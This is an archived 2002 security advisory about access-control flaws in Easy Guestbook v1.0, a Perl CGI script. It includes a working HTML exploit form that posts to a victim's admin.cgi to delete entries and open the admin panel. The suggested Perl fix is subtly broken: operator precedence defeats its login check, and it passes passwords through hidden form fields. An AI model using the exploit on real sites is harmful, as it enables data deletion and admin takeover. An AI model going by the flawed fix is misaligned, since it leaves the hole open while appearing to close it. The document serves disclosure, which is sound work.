

[UNIX] Easy Guestbook Vulnerabilities

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-07/0127.html>

From: support@securiteam.com

Date: 07/29/02

From: support@securiteam.com

To: list@securiteam.com

Date: Mon, 29 Jul 2002 07:45:18 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Easy Guestbook Vulnerabilities

SUMMARY

The <http://www.easyscripts.co.uk/guestbook_index.htm> Easy Guestbook is a perl/cgi program which allows users on your website to sign your very own guestbook. A security vulnerability in the product allows anyone to delete the entries and login as an administrator and allows anyone to reconfigure the Guestbook and change administrator password.

DETAILS

Vulnerable systems:

- * Easy Guestbook version 1.0

Solution:

1) Add Access Validation on "delete_message" function and "start" function.

Add admin.cgi with this code:

```
sub login_verify
{
    chomp($FORM{'login_username'});
    chomp($FORM{'login_password'});
    if (!$FORM{'login_username'} eq $username &&
$FORM{'login_password'} eq $password)
    {
```

Securiteam: [UNIX] Easy Guestbook Vulnerabilities

```
dienice("Sorry, but you have entered an invalid username or
password. Please press the 'back' button on your browser to return to the
Login Screen.");
    }
}
```

And on the first line of "delete_message" function and "start" function add this:

```
&login_verify;
```

And on the "start" function add this code in the <FORM>:

```
<input type="hidden" name="login_username"
value="$FORM{'login_username'}">
<input type="hidden" name="login_password"
value="$FORM{'login_password'}">
```

2) Delete config.cgi after you finish configure the Guestbook.

Exploit:

```
<!--
```

Easy Guestbook Vulnerabilities

Date : July 19, 2002

Severity : Medium (Possible to delete the entries)

Systems Affected:

Easy Guestbook v1.0

Vendor URL: <http://www.easyscripts.co.uk>

Vuln Type : It does not use Access Validation to delete the entries and login as Admin Control.

Author : AresU

Greetz to : Bosen, Tioeuy, eF73, SakitJiwa, nimdA, FreshFirst, Algorithm, Mr.Padang

Adv. URL : <http://bosen.net/advisories/aresu-adv.002.txt>

This source code is for educational purpose ONLY

```
-->
```

```
<html>
```

```
<body>
```

```
<h1>Easy Guestbook v1.0 Vulnerabilities</h1>
```

```
<form method="POST" action="http://victim/guestbook/admin.cgi">
```

```
Delete No. of Entries in Guestbook: <input type="text" value=""
name="function" size="5"> <input type="submit" value="Delete Message"
name="delete_message" style="font-size: 10pt; font-family: verdana;
font-weight: bold"><br><hr>
```

```
Open Administration Guestbook: <input type="submit" value="Back to Admin"
name="back_to_admin" style="color: #800080; font-weight: bold">
```

```
</form>
```

```
</body>
```

</html>

ADDITIONAL INFORMATION

The information has been provided by <mailto:ar3su@yahoo.com> Arek Suroboyo.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[NEWS] Brother NC-3100h Buffer Overflow Vulnerability"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)